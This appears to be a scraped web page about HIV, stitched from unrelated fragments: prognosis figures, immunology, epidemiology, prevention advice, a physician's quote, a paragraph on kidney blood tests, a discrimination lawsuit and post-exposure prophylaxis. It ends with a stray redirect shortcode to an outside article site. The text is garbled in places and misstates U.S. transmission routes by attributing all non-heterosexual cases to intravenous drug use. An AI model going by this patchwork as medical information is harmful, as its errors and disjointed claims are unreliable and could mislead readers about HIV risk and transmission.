The prognosis in patients with untreated HIV infection is poor, with an overall mortality rate of more than 90%. The average time from infection to death is 8-10 years, although individual variability ranges from less than 1 year to long-term nonprogression. Many variables have been implicated in HIV’s rate of progression, including CCR5-delta32 heterozygosity, mental health,  concomitant drug or alcohol abuse, superinfection with another HIV strain, nutrition, and age.
Jump up ^ Attia, Suzanna; Egger, Matthias; Müller, Monika; Zwahlen, Marcel; Low, Nicola (2009). “Sexual transmission of HIV according to viral load and antiretroviral therapy: Systematic review and meta-analysis”. AIDS. 23 (11): 1397–404. doi:10.1097/QAD.0b013e32832b7dca. PMID 19381076.
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HIV infection takes different forms within different cells. As we have seen, more than 95% of the virus that can be detected in the plasma is derived from productively infected cells, which have a very short half-life of about 2 days. Productively infected CD4 lymphocytes are found in the T-cell areas of lymphoid tissue, and these are thought to succumb to infection in the course of being activated in an immune response. Latently infected memory CD4 cells that are activated in response to antigen presentation also produce virus. Such cells have a longer half-life of 2 to 3 weeks from the time that they are infected. Once activated, HIV can spread from these cells by rounds of replication in other activated CD4 T cells. In addition to the cells that are infected productively or latently, there is a further large population of cells infected by defective proviruses; such cells are not a source of infectious virus.
Gut-associated lymphoid tissue (GALT) plays a role in HIV replication.  Although the portal of entry for HIV infection is typically through direct blood inoculation or exposure of the virus to genital mucosal surfaces, the GI tract contains a large amount of lymphoid tissue, making this an ideal site for HIV replication.
Approximately 20% of new diagnoses are in women. In the United States, heterosexual transmission accounts for approximately one-quarter of new diagnoses, with intravenous drug use contributing to the remaining cases in the U.S.
Talk to your sexual partner(s). Get tested for other sexually transmitted diseases (STDs), and use protection time you have sex. Talk to your doctor about pre-exposure prophylaxis (PrEP). When used consistently, this daily medication can lower the chances of transmission.
Early advances in preventing HIV transmission resulted from educational programs describing how transmission occurs and providing barrier protection for those exposed to genital secretions and new needles or bleach to those exposed to blood by sharing needles. Despite these efforts, new infection in both the developed and developing worlds has continued at high rates.
Cellular immune response to HIV. The cellular immune response is induced upon the entry of HIV into the target cells (e.g., T cells) and synthesis of viral proteins (Figure 1). MHC class I on the cell surface displays the intracellularly degraded HIV peptide fragments for recognition by T-cell receptors (TCR) on CD8+ T cells (Figure 3). CD8+ T cells lyse HIV infected cells and secrete cytokines, i.e. interferon-γ (IFN-γ), tumor necrosis factor α (TNF-α), and chemokines, i.e. MIP-1 α, MIP β and RANTES, that inhibit virus replication and block viral entry into CD4+ T cells. Development of CD8+ T cells is crucial for control of HIV replication. This results in declining viraemia after primary infection. In the early stages of infection, CD4+ T cells lose their proliferative capacity and therefore their contribution to viral control is minor. However, during chronic infection CD4+T cells are present and secrete interleukin-2 (IL-2) or cytokines, such as IFN-γ, to control viraemia.
During this phase, the infection is established and a proviral reservoir is created. [60, 61] This reservoir consists of persistently infected cells, typically macrophages, and appears to steadily release virus. Some of the viral release replenishes the reservoir, and some goes on to produce more active infection.
Within weeks of infection, many people will develop the varied symptoms of primary or acute infection, which typically has been described as a mononucleosis- or influenza-like illness but can range from minimal fever, aches, and pains to very severe symptoms. The most common symptoms of primary HIV infection are
“He was immediately put on treatment, strong antiviral drugs, which has suppressed the virus, to the point that he is absolutely healthy from that vantage,” Huizenga said. “Individuals who are optimally treated with undetectable viral loads, (the risk is) incredibly low to transmit the virus. We can’t say it’s zero, but it’s an incredibly low number.”
Urea and electrolytes: These are chemical compounds normally found in blood. Their levels are controlled by the renal system. This test is done to check on the condition of the kidneys. If the kidneys are functioning normally, then the levels of urea and creatinine will be normal. Otherwise the levels will be elevated.
Universal precautions within the health care environment are believed to be effective in decreasing the risk of HIV. Intravenous drug use is an important risk factor and harm reduction strategies such as needle-exchange programs and opioid substitution therapy appear effective in decreasing this risk.
Counseling for parenteral drug users: Counseling about the risk of sharing needles is important but is probably more effective if combined with provision of sterile needles, treatment of drug dependence, and rehabilitation.
In other respects, health care is a distinct area of concern for AIDS patients and health professionals alike. Discrimination has often taken place. State and federal statutes, including the Rehabilitation Act, guarantee access to health care for AIDS patients, and courts have upheld that right. In the 1988 case of Doe v. Centinela Hospital, 57 U.S.L.W. 2034 (C.D. Cal.), for example, an HIV-infected person with no symptoms was excluded from a federally funded hospital residential program for drug and alcohol treatment because health care providers feared exposure to the virus. The case itself exposed the irrationality of such discrimination. Although its employees had feared HIV, the hospital argued in court that the lack of symptoms meant that the patient was not disabled and thus not protected by the Rehabilitation Act. A federal trial court in California rejected this argument, ruling that a refusal to grant services based solely on fear of contagion is discrimination under the Rehabilitation Act.
PEP is short for post-exposure prophylaxis and refers to preventive treatment after occupational exposure to HIV. Occupational transmission of HIV to health-care workers is extremely rare, and the proper use of safety devices minimizes the risk of exposure while caring for patients with HIV. A health-care worker who has a possible exposure should see a doctor immediately. PEP must be started within 72 hours after a recent possible exposure to HIV. While PEP after occupational exposure is clearly defined by guidelines, it is less clear whether PEP is as effective after sexual or IV exposure. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]